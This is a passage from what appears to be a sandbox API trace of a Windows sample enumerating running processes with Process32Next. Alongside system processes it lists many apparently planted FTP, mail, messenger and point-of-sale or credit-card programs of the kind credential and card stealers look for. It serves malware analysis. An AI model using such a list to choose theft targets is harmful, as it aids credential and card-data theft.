lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.254] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.256] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.279] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.281] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.283] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.285] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.287] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.289] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.290] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.294] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.297] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.300] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0284.302] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0284.305] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0284.308] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.309] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0284.311] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.313] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0284.315] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.317] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.319] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0284.320] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.323] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.325] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0284.327] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0284.329] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0284.331] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0284.335] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0284.337] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0284.339] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0284.342] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0284.344] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0284.346] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0284.348] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0284.350] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0284.352] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0284.354] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0284.356] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0284.358] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0284.376] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0284.378] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0284.381] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0284.384] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0284.394] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0284.396] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0284.398] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0284.400] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0284.402] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0284.404] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0284.407] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0284.409] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0284.412] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0284.415] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0284.417] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0284.419] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0284.421] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0284.423] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0284.426] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0284.428] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0284.430] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0284.432] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0284.436] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0284.438] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0284.441] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0284.443] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0284.445] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0284.448] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0284.450] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0284.452] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0284.454] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0284.456] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0284.458] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0284.461] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0284.463] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0284.465] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0284.467] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0284.470] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0284.472] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0284.474] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0284.476] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0284.479] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0284.481] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0284.483] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 